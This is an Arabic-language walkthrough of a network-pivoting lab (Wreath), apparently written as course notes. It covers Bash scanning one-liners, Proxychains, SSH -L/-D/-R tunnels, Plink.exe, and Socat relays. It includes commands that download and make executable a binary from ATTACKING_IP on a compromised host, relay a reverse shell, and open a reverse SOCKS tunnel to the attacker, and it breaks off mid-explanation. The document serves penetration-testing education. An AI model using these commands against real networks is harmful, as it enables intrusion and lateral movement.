معرفة سيرفر الـ DNS قد يفتح لك باباً لهجمات أخرى. في ويندوز استخدم ipconfig /all، وفي لينكس nmcli dev show أو اقرأ ملف /etc/resolv.conf.

# Windows
ipconfig /all

# Linux
nmcli dev show
cat /etc/resolv.conf
🔍 شرح الأوامر:
  • ipconfig /all: النسخة "التفصيلية" لأشهر أمر شبكات في نظام Windows. يعطيك التقرير الكامل والشامل لكل كروت الشبكة في جهازك.
  • nmcli dev show: الطريقة الحديثة والمتقدمة في لينكس (عبر أداة Network Manager CLI) لاستعراض تفاصيل "العتاد" الخاص بالشبكة.
  • /etc/resolv.conf: الملف الأساسي المسؤول عن إعدادات الـ DNS (نظام أسماء النطاقات) في أنظمة لينكس.

مصطلح تقني هام: Static vs Dynamic Binaries

عندما تريد رفع أداة (مثل Nmap) إلى جهاز الضحية، يجب أن تكون Statically Compiled. ما الفرق؟

Dynamic Binary (برنامج ديناميكي):

يشبه شراء قطعة أثاث من "ايكيا" لكن بدون مسامير. يعتمد على أن "منزلك" (الجهاز) فيه المسامير والأدوات (ملفات .so أو .dll) لتركيبها. إذا لم تكن موجودة، لن يعمل البرنامج.

Static Binary (برنامج ثابت):

يأتي كاملاً مع مساميره وأدواته مدمجة داخله. حجمه أكبر قليلاً، لكنه سيعمل فوراً على جهاز الضحية دون الحاجة لأي ملفات خارجية. دائماً استخدم هذا النوع عند الاختراق.

مهارة "MacGyver": استخدام الـ Bash Scripting

ماذا لو لم تجد أدوات، ولم تستطع رفع أدواتك؟ هنا تصنع أدواتك بنفسك باستخدام سطر الأوامر (Shell).

أ. فحص الشبكة (Ping Sweep)

الكاتب أعطاك كوداً عبقرياً بلغة Bash (لأنظمة Linux) يقوم بفحص الشبكة كاملة (من 1 إلى 255) ليرى من يرد عليه:

for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done
📖 شرح الكود:

"يا كمبيوتر، عد من 1 إلى 255. في كل رقم، أرسل رسالة ترحيب (Ping) لهذا العنوان. إذا رد عليك أحد (bytes from)، أخبرني".

شرح أجزاء الكوماند:

  • for i in {1..255}; do ... done: هذه "حلقة تكرار" (Loop). تخبر النظام أن يكرر العملية 255 مرة، وفي كل مرة تتغير قيمة المتغير i من 1 إلى 255.
  • ping -c 1 192.168.1.${i}: يقوم بإرسال حزمة بيانات واحدة فقط (-c 1) لكل عنوان IP (مثل 192.168.1.1، ثم 192.168.1.2، وهكذا).
  • | grep "bytes from": هذا الجزء هو "المصفاة". هو يخبر النظام: "لا تظهر لي كل تفاصيل الـ ping المملة، فقط أظهر لي السطر الذي يحتوي على عبارة bytes from". ظهور هذا السطر يعني أن الجهاز ردَّ عليك وهو متصل بالشبكة.
  • &: (مهمة جداً) تجعل الأوامر تعمل في الخلفية بالتوازي. بدلاً من فحص الجهاز الأول وانتظار الرد ثم الثاني، يقوم الكوماند بإرسال الـ 255 طلب "كلهم مع بعض" في نفس اللحظة، مما يجعل الفحص فائق السرعة.

ب. فحص المنافذ (Port Scanning)

إذا كان الجدار الناري يمنع الـ Ping، يمكنك فحص المنافذ (البوابات) مباشرة بهذا الكود:

for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done
📖 شرح الأجزاء ببساطة:
  • for i in {1..65535}; do ... done: حلقة تكرار تمر على جميع المنافذ الممكنة في أي جهاز (من رقم 1 إلى 65535).
  • /dev/tcp/192.168.1.1/$i: هذه ميزة في Bash تسمح لك بفتح اتصال TCP مع الـ IP والمنفذ المحددين. إذا استطاع Bash "الكلام" مع المنفذ، فهذا يعني أنه مفتوح.
  • echo > ...: يحاول إرسال "فراغ" إلى ذلك المنفذ لمحاولة فتحه.
  • >/dev/null 2>&1: وظيفتها "إخفاء الضجيج". هي تمنع ظهور رسائل الخطأ (مثل "Connection refused") على شاشتك حتى تظل المخرجات نظيفة.
  • && echo $i is open: هذا هو "الشرط". إذا نجحت عملية فتح الاتصال (الجزء الأول)، سيقوم النظام بطباعة رقم المنفذ وبجانبه كلمة "open".
⏰ متى تستخدمه؟
تستخدمه عندما تكون في بيئة "مقيدة" جداً (مثل جهاز مخترق أو سيرفر جديد) ولا تملك صلاحيات لتثبيت Nmap، وتريد معرفة المنافذ المفتوحة بسرعة باستخدام الأدوات المدمجة في النظام فقط.

ملاحظات هامة

⚠️ تحذير: Proxy Scanning
احذر استخدام أدوات الفحص الخاصة بك عبر الـ Proxy لأنها بطيئة جداً. هذه يجب أن تكون الملاذ الأخير فقط!

Task 10: استخدام النفق 🚇

دليل عملي لاستخدام Proxychains و FoxyProxy

مقدمة: من النظرية إلى التطبيق

هذا النص ينقلك إلى الجانب العملي: "كيف نستخدم النفق الذي سنقوم بحفره؟".

سنتعرف على أداتين أساسيتين تعملان كـ "موجه" (Router) لحركة المرور الخاصة بك لتدخل عبر النفق وتصل للشبكة المخفية. تخيل الأمر كما وصفه النص: نفق سري من تحت "باركينق" (جهازك) يخرج في "غرفة الكنز" (الشبكة الهدف).

1️⃣ الأداة الأولى: Proxychains

📟 للاستخدام مع سطر الأوامر (CLI)

هذه الأداة مخصصة لتشغيل برامج الاختراق (مثل Nmap, Netcat) وجعلها تمر عبر النفق رغماً عنها.

كيف تعمل؟

تكتب كلمة proxychains قبل أي أمر تريد تشغيله.

proxychains nc 172.16.0.10 23
💡 الشرح:
هنا أنت تقول: "يا Proxychains، خذي أداة netcat وأدخليها في النفق لتتصل بهذا العنوان".

ملف الإعدادات (The Config File)

الأداة لا تعمل بالسحر، بل تحتاج ملف إعدادات يخبرها "أين هو النفق؟".

📁 مكان الملف الأصلي:
/etc/proxychains.conf
💡 نصيحة ذكية:

بدلاً من تعديل الملف الأصلي، انسخه إلى مجلدك الحالي باستخدام:

cp /etc/proxychains.conf .

الأداة ذكية وستبحث عن الملف في مجلدك الحالي أولاً.

كيف نعدل الملف؟

افتح الملف وانزل للأسفل تماماً لقسم [ProxyList]. ستجد سطراً مثل:

socks4 127.0.0.1 9050

عليك تغيير المنفذ 9050 (وهو الافتراضي لـ Tor) إلى المنفذ الذي سنستخدمه نحن لاحقاً للنفق (Port).

⚠️ تحذيرات هامة عند استخدام Nmap مع Proxychains

1️⃣ بطيء جداً:
الفحص سيكون بطيئاً بشكل لا يطاق. استخدمه فقط عند الضرورة القصوى (مثلاً عند استخدام NSE scripts).
2️⃣ مشكلة DNS:
في ملف الإعدادات، ابحث عن سطر proxy_dns وضع قبله علامة هاشتاق # (Comment out) لتعطيله، وإلا سيتوقف الفحص ويعلق (Crash).
3️⃣ فقط TCP:
النفق لا يمرر بروتوكول UDP أو ICMP (Ping). لذلك عند الفحص استخدم الأمر -Pn مع Nmap لتخطي مرحلة الـ Ping.
proxychains nmap -Pn 172.16.0.10

2️⃣ الأداة الثانية: FoxyProxy

🌐 للاستخدام مع المتصفح (Web Browser)

بينما Proxychains ممتازة للأوامر، FoxyProxy هي "إضافة" (Extension) لمتصفح Firefox أو Chrome، نستخدمها إذا أردنا تصفح "موقع ويب" موجود داخل الشبكة الداخلية.

الإعداد (Configuration)

1️⃣ الخطوة الأولى:

اضغط على أيقونة الإضافة ثم Options ثم Add.

2️⃣ أدخل المعلومات:
  • IP: عادة 127.0.0.1 (وهو جهازك)
  • Port: رقم النفق الذي تستخدمه
3️⃣ اختر النوع:

SOCKS4 هو الخيار الشائع، لكن بعض الأدوات (مثل Chisel التي سنأخذها لاحقاً) تحتاج SOCKS5.

الاستخدام

بمجرد الحفظ، تضغط على الأيقونة وتختار البروكسي الذي صنعته. الآن متصفحك يرى ما يراه الجهاز المخترق في الشبكة الداخلية.

🚨 تنبيه هام:
عند تفعيل FoxyProxy، ستنقطع عنك الإنترنت العادي إذا كانت الشبكة المخترقة معزولة عن الإنترنت (وهذا هو الحال في Wreath). لذا، لا تنس إطفاءه عندما تريد تصفح جوجل أو فيسبوك!

🔐 ما هو SOCKS ؟

الـ SOCKS (اختصار لـ Socket Secure) هو بروتوكول إنترنت يعمل كـ "وسيط" (Proxy) يوجه حركة مرور البيانات بين جهازك والسيرفر الذي تحاول الوصول إليه. هو لا يقرأ بياناتك، بل يكتفي بنقلها كما هي، مما يجعله أكثر مرونة من البروكسي التقليدي (مثل HTTP Proxy).

أنواع بروتوكول SOCKS

هناك إصداران أساسيان يُستخدمان حالياً:

📦 SOCKS4

الإصدار الأقدم والأبسط

  • يدعم اتصالات TCP فقط
  • لا يدعم "المصادقة" (Authentication)
  • لا يمكنك وضع اسم مستخدم وكلمة مرور
  • أكثر بساطة وسرعة في الإعداد

🚀 SOCKS5

الإصدار الأحدث والأكثر شيوعاً

  • يدعم TCP و UDP
  • يدعم المصادقة (أكثر أماناً)
  • يدعم الـ IPv6
  • أفضل للتطبيقات الحديثة والألعاب

مميزات استخدام SOCKS

🔓 تجاوز الجدران النارية (Firewalls):
بفضل قدرته على التعامل مع أي نوع من حركة مرور البيانات، يمكنه الالتفاف حول القيود التي تفرضها الشبكات المحلية أو الحكومية.
🎯 دعم كافة التطبيقات:
على عكس بروكسي HTTP الذي يعمل مع المتصفحات فقط، يمكن لـ SOCKS العمل مع:
  • الألعاب
  • برامج الـ Torrent
  • أدوات الاختراق (عبر Proxychains)
  • تطبيقات البريد الإلكتروني
🕵️ الخصوصية:
يقوم بإخفاء عنوان الـ IP الحقيقي الخاص بك عن الموقع أو السيرفر الوجهة، حيث يظهر لهم عنوان الـ IP الخاص بسيرفر البروكسي فقط.
⚡ سرعة وأداء أفضل (في SOCKS5):
لأنه لا يغير "رؤوس البيانات" (Headers) ولا يقوم بتحليل المحتوى، فهو أسرع وأقل عرضة للأخطاء مقارنة ببروكسي HTTP.

📝 ملخص سريع

🔧 متى نستخدم Proxychains؟

  • عند استخدام أدوات سطر الأوامر (Nmap, Netcat, Metasploit)
  • عند الحاجة لتوجيه أدوات الاختراق عبر النفق
  • عند العمل في بيئة CLI (Command Line Interface)

🌐 متى نستخدم FoxyProxy؟

  • عند تصفح مواقع الويب الداخلية
  • عند الحاجة لواجهة رسومية (GUI)
  • عند استكشاف تطبيقات الويب داخل الشبكة المخترقة
💡 نصيحة ذهبية:
كلا الأداتين تكملان بعضهما البعض. استخدم Proxychains للاختبارات التقنية والفحص، واستخدم FoxyProxy لاستكشاف تطبيقات الويب والواجهات الرسومية.

Task 11: SSH Tunnelling 🔐

أنفاق SSH: أقوى أداة في جعبة أي مخترق

مقدمة: قوة SSH Tunnelling

هذه المهمة تتحدث عن أقوى وأشهر أداة في جعبة أي مخترق أو مدير أنظمة: SSH Tunnelling (أنفاق SSH).

ببساطة، نحن نستخدم بروتوكول SSH العادي (الذي يستخدم عادة للتحكم بالسيرفرات عن بعد) لنصنع منه "أنفاقاً" ننقل عبرها البيانات من وإلى الشبكة المستهدفة بشكل سري ومشفر.

💡 لماذا SSH Tunnelling؟
  • 🔒 مشفر بالكامل: كل البيانات تمر عبر نفق SSH مشفر
  • 🎯 متعدد الاستخدامات: يمكن استخدامه لتوجيه أي نوع من البيانات
  • 🚀 سريع وفعال: بروتوكول SSH معروف بكفاءته العالية
  • 🛡️ يتجاوز الجدران النارية: غالباً ما يكون SSH مسموحاً في الشبكات

1️⃣ الاتصال الأمامي (Forward Connections)

هذا النوع نستخدمه عندما نكون قادرين على الدخول للجهاز الضحية عبر SSH من جهازنا. أي أن الطريق سالك من عندك إليه.

هناك خياران رئيسيان:

أ. توجيه منفذ محدد (Port Forwarding - Local)

الهدف: تريد الوصول لخدمة معينة (مثلاً موقع ويب داخلي) على منفذ محدد.

الأمر: ssh -L

📌 المثال العملي:

ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN
📖 شرح أجزاء الكوماند:
  • ssh: الأداة المستخدمة لإنشاء الاتصال المشفر.
  • -L (Local): تخبر النظام بأننا نريد عمل "تحويل محلي للمنافذ".
  • 8000:172.16.0.10:80: هذا هو جوهر العملية:
    • 8000: هو المنفذ الذي سيتم فتحه على جهازك أنت (لوكال).
    • 172.16.0.10: هو عنوان السيرفر "الهدف" الموجود داخل الشبكة البعيدة.
    • 80: هو المنفذ الذي يقدم الخدمة (موقع ويب مثلاً) على السيرفر الهدف.
  • user@172.16.0.5: هو عنوان "الجهاز الوسيط" (Jump Host) الذي تملك عليه صلاحية دخول وسيقوم بدور الجسر.
  • -f: تطلب من SSH العمل في الخلفية (Background) بعد طلب كلمة المرور، لكي لا يشغل التيرمينال.
  • -N: تعني "لا تنفذ أوامر" (No remote commands). أنت لا تريد فتح شاشة تيرمينال في السيرفر الوسيط، بل تريد فقط إنشاء "النفق".
✨ النتيجة النهائية:
بعد تشغيل هذا الكوماند، إذا فتحت المتصفح في جهازك وكتبت http://localhost:8000 كأنك تفتح موقعاً على جهازك، سيقوم SSH بأخذ هذا الطلب وتمريره عبر النفق ليصل إلى السيرفر الداخلي 172.16.0.10 على المنفذ 80.

ب. البروكسي الديناميكي (Dynamic Proxies)

الهدف: تريد نفقاً كاملاً لتمرير كل شيء (مثل فحص Nmap).

الأمر: ssh -D

📌 المثال العملي:

ssh -D 1337 user@172.16.0.5 -fN
📖 شرح أجزاء الكوماند:
  • ssh: الأداة المستخدمة لإنشاء الاتصال المشفر.
  • -D 1337: (Dynamic) هذا هو الجزء الأهم. هو يخبر SSH بفتح منفذ محلي على جهازك (رقم 1337) ليعمل كخادم بروكسي من نوع SOCKS.
  • user@172.16.0.5: السيرفر الذي ستتصل به والذي سيقوم بدور "البوابة" للشبكة الداخلية.
  • -f: تشغيل الأمر في الخلفية (Background) لكي لا يظل التيرمينال مشغولاً.
  • -N: عدم فتح واجهة أوامر (No shell)، فقط إنشاء النفق والبروكسي.
🎯 كيف تستفيد منه؟
بعد تشغيل هذا الأمر، يمكنك ضبط متصفحك أو أداة مثل proxychains لاستخدام بروكسي من نوع SOCKS5 على العنوان 127.0.0.1 والمنفذ 1337.

النتيجة: أي تطبيق تضبطه على هذا البروكسي سيتمكن من رؤية الشبكة الداخلية للسيرفر 172.16.0.5 بالكامل، وكأن جهازك موجود فعلياً داخل تلك الشبكة.

الفرق بين -L و -D باختصار:

الخيار الوصف التشبيه
-L (Local) يربط منفذ بجهاز واحد محدد مثل جسر لبيت واحد 🏠
-D (Dynamic) يفتح لك المجال للوصول لأي جهاز في الشبكة البعيدة مثل جسر لمدينة كاملة 🌆

2️⃣ الاتصال العكسي (Reverse Connections)

هذا النوع أخطر وأكثر تعقيداً، نستخدمه عندما نكون داخل جهاز الضحية (عبر Shell مثلاً) لكننا لا نستطيع الدخول إليه عبر SSH من الخارج (بسبب جدار ناري مثلاً).

⚠️ الحل الخطير:
نجعل الضحية هو من يتصل بنا! لكي نفعل ذلك بأمان، يجب اتباع خطوات دقيقة جداً.

خطوات التنفيذ الآمن:

الخطوة 1️⃣: إنشاء مفاتيح جديدة (Generate Keys)

أولاً، نصنع مفتاح SSH جديد خاص لهذه العملية فقط، لكي لا نستخدم مفاتيحنا الشخصية. نستخدم أمر ssh-keygen.

ssh-keygen -t rsa -b 4096 -f reverse_tunnel_key

نقوم بحفظ المفتاح ولا نضع له كلمة مرور (Passphrase) للسرعة.

الخطوة 2️⃣: تأمين جهازك (Safety First)

سننقل "المفتاح الخاص" (Private Key) لجهاز الضحية ليتصل بنا. هذا خطير جداً! فلو وقع المفتاح بيد شخص آخر قد يخترق جهازك أنت.

🚨 للحماية:
نعدل ملف authorized_keys في جهازنا، ونضيف قيوداً صارمة قبل المفتاح تقول: "هذا المفتاح مسموح له فقط بفتح نفق (Port Forwarding)، وممنوع عليه فتح سطر أوامر (Shell)".
command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty ssh-rsa AAAAB3...

الخطوة 3️⃣: التأكد من خدمة SSH

تأكد أن جهازك أنت (Attacker Machine) يعمل فيه سيرفر SSH ليتمكن الضحية من الاتصال بك.

إذا لم يكن يعمل، شغله بالأمر:

sudo systemctl start ssh

الخطوة 4️⃣: فتح النفق العكسي

الآن من جهاز الضحية، نستخدم الأمر -R (Reverse):

ssh -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -fN
📖 شرح أجزاء الكوماند:
  • ssh: الأداة المستخدمة للاتصال.
  • -R (Remote): تخبر النظام بأننا نريد عمل تحويل منافذ عكسي (يبدأ من السيرفر البعيد باتجاهك).
  • 8000:172.16.0.10:80:
    • 8000: هو المنفذ الذي سيفتح على السيرفر البعيد (172.16.0.20).
    • 172.16.0.10: هو عنوان الجهاز الذي تريد إتاحته (موجود في شبكتك المحلية أو يمكن لجهازك الوصول إليه).
    • 80: المنفذ الخاص بالخدمة على ذلك الجهاز.
  • kali@172.16.0.20: اسم المستخدم وعنوان السيرفر البعيد الذي تتصل به.
  • -i KEYFILE: استخدام ملف مفتاح (Identity File) لتسجيل الدخول بدلاً من كلمة المرور.
  • -f: تشغيل الاتصال في الخلفية.
  • -N: إنشاء النفق فقط دون فتح شاشة أوامر (Terminal).
✨ النتيجة:
الآن، أنت في جهازك تتصل بـ localhost:8000 وتدخل للشبكة الداخلية.

البروكسي الديناميكي العكسي

يمكنك أيضاً استخدام -R مع بروكسي ديناميكي:

ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN

ببساطة: أنت تفتح بوابة (منفذ 1337) على جهاز المهاجم (ATTACKING_IP)، بحيث لو استخدم المهاجم هذا المنفذ، يستطيع "التنزه" داخل شبكتك أنت والوصول لأي جهاز تراه أنت.

📖 شرح أجزاء الكوماند:
  • ssh: أداة الاتصال المشفر.
  • -R 1337: (Remote Dynamic Port Forwarding). هنا تكمن القوة؛ أنت تطلب من السيرفر البعيد فتح المنفذ 1337 ليعمل كـ SOCKS Proxy عكسي.
  • USERNAME@ATTACKING_IP: بيانات الدخول للجهاز الذي تريد إعطاءه الصلاحية (جهاز المهاجم أو السيرفر الخارجي).
  • -i KEYFILE: ملف المفتاح لتسجيل الدخول الآمن دون كلمة مرور.
  • -f: تشغيل العملية في الخلفية.
  • -N: إنشاء النفق فقط دون فتح واجهة أوامر.

3️⃣ كيف تغلق النفق؟ (Closing Connections)

بما أننا شغلنا الاتصال في الخلفية، لن يغلق بمجرد إغلاق التيرمينال.

الخطوة 1: ابحث عن العملية

استخدم الأمر التالي للبحث عن عمليات SSH النشطة:

ps aux | grep ssh

الخطوة 2: اقتل العملية

خذ رقم العملية (PID) - في المثال هو 105238 - واقتلها بأمر:

sudo kill 105238
⚠️ تحذير:
تأكد من اختيار رقم العملية الصحيح، وإلا قد تغلق عملية SSH مهمة أخرى!

📝 ملخص سريع

النوع الأمر متى نستخدمه؟
Local Port Forwarding ssh -L عندما تريد الوصول لخدمة محددة على جهاز محدد
Dynamic Port Forwarding ssh -D عندما تريد الوصول لشبكة كاملة (SOCKS Proxy)
Reverse Port Forwarding ssh -R عندما لا تستطيع الدخول للضحية، فتجعله يتصل بك
💡 نصيحة ختامية:
SSH Tunnelling هي أداة قوية جداً ومرنة. احرص على فهم كل خيار جيداً قبل استخدامه، وتذكر دائماً تأمين الاتصالات العكسية لحماية جهازك من الاختراق!

Task 12: Plink.exe 🪟

أداة SSH لأنظمة Windows القديمة

مقدمة: الأداة المنقذة للحياة

هذه المهمة تقدم لك أداة كلاسيكية لكنها لا تزال منقذة للحياة في بيئات Windows القديمة، وهي Plink.exe.

💡 السياق:
في نسخ Windows القديمة، لا يوجد أمر ssh مدمج كما في Linux أو Windows 10/11 الحديث. إذا اخترقت جهاز Windows قديم وأردت عمل نفق (Tunnel) للعودة لجهازك، عليك أن ترفع ملف plink.exe إلى جهاز الضحية وتستخدمه لإنشاء Reverse Connection.

ما هو PuTTY؟

برنامج PuTTY هو أشهر أداة "مجانية" ومفتوحة المصدر لمستخدمي نظام Windows للاتصال بالأجهزة والسيرفرات عن bُعد. إذا كنت تعمل في مجال الشبكات أو البرمجة أو حتى الأمن السيبراني، فهذا البرنامج سيكون صديقك الصدوق.

1️⃣ وظيفته الأساسية

يسمح لك بفتح "شاشة سوداء" (Terminal) تتحكم من خلالها في سيرفر موجود في مكان آخر في العالم، كأنك جالس أمامه تماماً. هو يدعم عدة بروتوكولات، أهمها SSH الذي شرحنا أوامره قبل قليل.

2️⃣ لماذا يستخدمه الناس؟

🪶 خفيف جداً

لا يحتاج تثبيت معقد، هو عبارة عن ملف واحد صغير الحجم.

🔌 يدعم الـ Serial

يُستخدم لبرمجة الراوترات والسويتشات (مثل أجهزة Cisco) عن طريق وصلة مباشرة.

🔑 إدارة المفاتيح

يأتي معه برنامج مساعد يسمى PuTTYgen، وهو الذي يحول مفاتيح id_rsa إلى صيغة .ppk.

ما هو Plink.exe ولماذا نحتاجه؟

📟 Plink = PuTTY Link (Command Line Version)

Plink هو النسخة التي تعمل عبر سطر الأوامر (Command Line) من نفس البرنامج.

المشكلة والحل:

⚠️ المشكلة:
في نسخ Windows القديمة، لا يوجد أمر ssh مدمج كما في Linux أو Windows 10/11 الحديث.
✅ الحل:
إذا اخترقت جهاز Windows قديم وأردت عمل نفق (Tunnel) للعودة لجهازك، عليك أن:
  • ترفع ملف plink.exe إلى جهاز الضحية
  • تستخدمه لإنشاء Reverse Connection

الأمر السحري (The Command)

بما أننا عادة نستخدم Plink في بيئة "Reverse Shell" (أي أننا لا نملك واجهة تفاعلية كاملة)، فهناك خدعة مهمة في كتابة الأمر:

cmd.exe /c echo y | .\plink.exe -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -N

دعنا نحلل هذا الكوماند جزءاً جزءاً:

📖 شرح أجزاء الكوماند:
  • cmd.exe /c echo y |: هذا الجزء هو الأهم.
    • عندما تتصل بسيرفر SSH لأول مرة، يسألك النظام: "هل تثق بهذا السيرفر؟ (yes/no)".
    • في الـ Shell العادي، إذا ظهر هذا السؤال، سيتجمد الاتصال لأنك لا تستطيع كتابة "y".
    • لذا نستخدم echo y | لنرسل حرف "y" مسبقاً ونوافق أوتوماتيكياً على الاتصال.
  • .\plink.exe: تشغيل الأداة من المجلد الحالي.
  • -R: تعني Reverse Tunnel (من الضحية إليك).
  • 8000:172.16.0.10:80: تفاصيل النفق:
    • 8000: المنفذ المحلي على جهازك
    • 172.16.0.10: الهدف داخل الشبكة
    • 80: منفذ الهدف
  • kali@172.16.0.20: اسم المستخدم وعنوان جهازك أنت (Attacker).
  • -i KEYFILE: ملف المفتاح الخاص للدخول.
  • -N: لا تنفذ أوامر، فقط افتح النفق.
💡 لماذا الجزء الأول مهم جداً؟
الجزء cmd.exe /c echo y | يحل مشكلة كبيرة: عندما يسأل SSH عن الثقة بالسيرفر، نحن نرسل "y" أوتوماتيكياً دون الحاجة للتفاعل اليدوي، وهذا أساسي في بيئة Reverse Shell التي لا تدعم التفاعل الكامل.

مشكلة المفاتيح (Key Conversion)

🚨 تحذير: فخاخ كثيرة!
مفاتيح SSH التي صنعتها سابقاً باستخدام ssh-keygen لن تعمل مع Plink لأنهما يتحدثان لغة مختلفة قليلاً.

الحل: التحويل إلى صيغة .ppk

يجب تحويل المفتاح إلى صيغة .ppk الخاصة بـ PuTTY.

الخطوة 1️⃣: التثبيت

حمل الأدوات على جهازك الكالي:

sudo apt install putty-tools

الخطوة 2️⃣: التحويل

استخدم الأمر التالي لتحويل المفتاح:

puttygen KEYFILE -o OUTPUT_KEY.ppk

حيث:

  • KEYFILE: هو مفتاحك القديم (مثل id_rsa)
  • OUTPUT_KEY.ppk: هو المفتاح الجديد المحول

الخطوة 3️⃣: النقل

الآن انقل ملف .ppk الجديد إلى جهاز الضحية واستخدمه في الأمر السابق.

💡 ملاحظة ذكية:
لا تحتاج لتغيير المفتاح العام (Public Key) الموجود في ملف authorized_keys على جهازك، فهو يعمل مع الصيغتين.

نصيحة "ذهبية" من الكاتب 🏆

⚠️ مشكلة النسخ القديمة:
أداة Plink تشتهر بأنها "تخرب" بسرعة إذا كانت قديمة. النسخة الموجودة افتراضياً في Kali Linux (في المسار /usr/share/windows-resources/binaries/plink.exe) غالباً ما تكون قديمة وقد تفشل في الاتصال.
✅ النصيحة الذهبية:
دائماً حمل أحدث نسخة من plink.exe من الموقع الرسمي لـ PuTTY قبل أي عملية اختراق.

🔗 المصدر: PuTTY Download Page

📝 ملخص سريع

🎯 متى نستخدم Plink.exe؟

  • عند اختراق أجهزة Windows القديمة (قبل Windows 10)
  • عندما لا يكون أمر ssh متاحاً على النظام
  • لإنشاء Reverse Tunnels من Windows إلى جهاز Kali

📋 الخطوات بإيجاز:

  1. حمل أحدث نسخة من plink.exe
  2. حول مفتاحك SSH إلى صيغة .ppk باستخدام puttygen
  3. ارفع plink.exe والمفتاح .ppk إلى جهاز الضحية
  4. استخدم الأمر مع echo y | لتجاوز سؤال الثقة
  5. استمتع بالنفق العكسي! 🎉
💡 نصيحة ختامية:
Plink.exe هي أداة قديمة لكنها لا تزال فعّالة جداً في بيئات Windows القديمة. تأكد دائماً من استخدام أحدث نسخة لتجنب مشاكل التوافق والأمان!

Task 13: Pivoting with Socat 🛠️

أداة قوية لتوجيه وترحيل الاتصالات

الخطوة 0️⃣: تجهيز الأداة (تحميل Socat)

قبل ما نشتغل، لازم نتأكد إن socat موجودة على الجهاز اللي هكرناه (الوسيط). غالباً ما بتكون موجودة، فلازم نرفعها إحنا.

1️⃣ على جهازك أنت (Attacker):

بنعمل سيرفر بسيط عشان نرسل الملف.

sudo python3 -m http.server 80
📖 شرح الأمر:
  • sudo: صلاحيات مسؤول (عشان نفتح بورت 80).
  • python3 -m http.server: أمر بيحول جهازك لموقع ويب بسيط بيعرض الملفات اللي عندك.
  • 80: رقم البورت اللي رح يشتغل عليه السيرفر.

2️⃣ على الجهاز المخترق (Target):

بننزل الملف منه.

curl ATTACKING_IP/socat -o /tmp/socat && chmod +x /tmp/socat
📖 شرح الأمر:
  • curl: أداة لتحميل الملفات من النت (زي المتصفح بس سطر أوامر).
  • -o /tmp/socat: (Output) يعني احفظ الملف باسم socat داخل مجلد /tmp.
  • &&: يعني "بس تخلص الأمر الأول بنجاح، نفذ الأمر الثاني".
  • chmod +x: (Change Mode) اعطي الملف صلاحية "التنفيذ" (Executable) عشان يشتغل كبرنامج مش مجرد ملف نصي.

السيناريو 1️⃣: ترحيل الشل العكسي (Reverse Shell Relay)

⚠️ المشكلة:
بدك تعمل Reverse Shell من جهاز داخلي (Target) يوصل لجهازك (Attacker)، بس الجهاز الداخلي ما عنده نت يوصلك مباشرة!
✅ الحل:
نخلي الجهاز الداخلي يشبك على "الوسيط"، والوسيط يوصل الكلام إلك.

الأمر على الجهاز الوسيط (Compromised Server):

./socat tcp-l:8000 tcp:ATTACKING_IP:443 &
📖 شرح الكوماند:
  • ./socat: شغل برنامج socat (اللي حملناه قبل شوي).
  • tcp-l:8000: (TCP Listen) يعني "يا وسيط، افتح أذانك واسمع على بورت 8000 واستنى حدا يشبك عليك".
  • tcp:ATTACKING_IP:443: (TCP Connect) يعني "وبنفس الوقت، روح اشبك على جهاز الهكر (أنت) على بورت 443".
    • بمعنى آخر: أي اشي بيجيك على بورت 8000، امسكه ورميه لـ بورت 443 عند الهكر.
  • &: (Background) شغل هذا الأمر في الخلفية، عشان يضل الشل شغال وأقدر أكتب أوامر ثانية، ما يعلق الجهاز يستنى.
✨ النتيجة:
لما الـ Target يشبك على بورت 8000 في الوسيط → الاتصال رح يتحول فوراً لجهازك.

السيناريو 2️⃣: توجيه المنافذ - الطريقة السهلة (Port Forwarding - Easy)

🎯 الهدف:
بدك توصل لخدمة (مثلاً قاعدة بيانات MySQL) شغالة على الجهاز الداخلي، بدك تشبك عليها من جهازك كأنها جنبك.

الأمر على الجهاز الوسيط:

./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &
📖 شرح الكوماند:
  • tcp-l:33060: افتح بورت جديد عندك يا وسيط رقمه 33060 واسمع عليه.
  • fork: (مهمة جداً!) بتعني "تفرّع". بالوضع الطبيعي Socat بتعمل اتصال واحد وبتسكر. كلمة fork بتخليها كل ما يجي اتصال جديد، تعمل نسخة جديدة من حالها وتخدمه، وتضل شغالة تستقبل غيره.
  • reuseaddr: (Reuse Address) بتعني إذا البرنامج طفى أو علق، اسمح للبورت يرجع يشتغل فوراً بدون ما ننتظر وقت (Time-wait). بتخلي الاتصال مستقر أكثر.
  • tcp:172.16.0.10:3306: وجه الاتصال للجهاز الهدف الداخلي (IP تبعه) على بورت قاعدة البيانات (3306).
✨ النتيجة:
أنت بتهجم على الوسيط بورت 33060 → الوسيط بياخدك للهدف بورت 3306.

السيناريو 3️⃣: توجيه المنافذ - الطريقة الصامتة (Port Forwarding - Quiet)

🚨 المشكلة:
الطريقة السهلة بتفتح بورت (33060) على الوسيط. هذا خطير لأنه ممكن ينكشف إذا حدا فحص الشبكة (Scanning).
✅ الحل:
ما نفتح بورت على الوسيط، بل نخلي الوسيط هو اللي يشبك علينا! (Reverse Connection).
⚠️ تنبيه:
هاي الطريقة معقدة شوي، ركز معي:

1️⃣ على جهازك أنت (Attacker):

socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
📖 الشرح:
هون إحنا عملنا "جسر داخلي" جوا جهازنا. ربطنا بورت 8001 بـ بورت 8000.

أي إشي بيدخل بـ 8001 بيطلع من 8000 والعكس.

2️⃣ على الجهاز الوسيط (Compromised Server):

./socat tcp:ATTACKING_IP:8001 tcp:TARGET_IP:80,fork &
📖 الشرح:
  • tcp:ATTACKING_IP:8001: يا وسيط، اشبك على الهكر (أنا) على بورت 8001.
  • tcp:TARGET_IP:80: واربط هذا الاتصال بالجهاز الهدف الداخلي على بورت 80 (موقع ويب).

كيف بتمشي البيانات؟

🔄 تدفق البيانات:

  1. أنت بتفتح متصفحك على localhost:8000.
  2. الطلب بروح لـ 8001 (لأنهم مربوطين ببعض).
  3. بنتقل عبر النت للوسيط (لأنه شابك على 8001).
